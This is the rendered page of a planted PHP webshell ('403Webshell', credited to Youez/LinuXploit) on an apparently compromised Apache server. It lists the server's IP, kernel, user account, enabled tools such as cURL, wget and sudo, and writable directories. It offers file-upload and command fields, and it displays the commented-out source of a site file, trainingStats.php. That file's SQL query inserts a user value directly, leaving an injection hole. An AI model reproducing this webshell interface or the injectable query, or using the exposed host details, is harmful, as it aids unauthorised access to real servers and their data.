403Webshell
Server IP : 10.200.247.200  /  Your IP : 216.73.217.19
Web Server : Apache
System : Linux synergy-usa-sites 6.8.0-138-generic #138-Ubuntu SMP PREEMPT_DYNAMIC Fri Jul 31 22:41:49 UTC 2026 x86_64
User : jeremy ( 1001)
PHP Version : 8.4.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/usa_sites/vx/usa/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/usa_sites/vx/usa/functions/trainingStats.php
<?
/*
include_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/xinc.php");
require_once($_SERVER['DOCUMENT_ROOT']."/vx/lib/user.php");
if(empty($user) || $guest)
{
	return false;
	exit;	
}
else
{
	$data = array();
	$courses = $db->query("
								SELECT 
										gc.name,
										gtc.*,
										gt.user
								FROM grdb.grd_training_courses AS gtc
								LEFT JOIN grdb.grd_categories AS gc 
									ON gtc.category = gc.categories_id
								LEFT JOIN grdb.grd_training_complete AS gt
									ON 
										gt.course = gtc.course
										AND 
										gt.user = '$user'
								WHERE 
									gtc.status = 'active' 
								ORDER BY gtc.category ASC, gtc.priority ASC
							");
	$coursesStats = array();
	$trainingAdded = array();
	for($i=0; $i<count($courses); $i++)
	{
		if(!in_array($courses[$i]['category'], $trainingAdded))
		{
			$trainingAdded[] = $courses[$i]['category'];
			$sectionCount = 1;
			if($courses[$i]['user'] > 0)
			{
				$sectionsComplete = 1;
			}
		}
		else
		{
			$sectionCount++;
			if($courses[$i]['user'] > 0)
			{
				$sectionsComplete++;
			}
		}
		$coursesStats[$courses[$i]['name']]['sections'] = $sectionCount;
		$coursesStats[$courses[$i]['name']]['completed'] = $sectionsComplete;
	}
	foreach($trainingCourses as $key => $value)
	{
		$coursesStats[$key]['percentage'] = round( ((100 / $value['sections']) * $value['completed']), 1 );
	}
	$data['training'] = $coursesStats;
	echo json_encode($data);
}
*/

?>






















Youez - 2016 - github.com/yon3zu
LinuXploit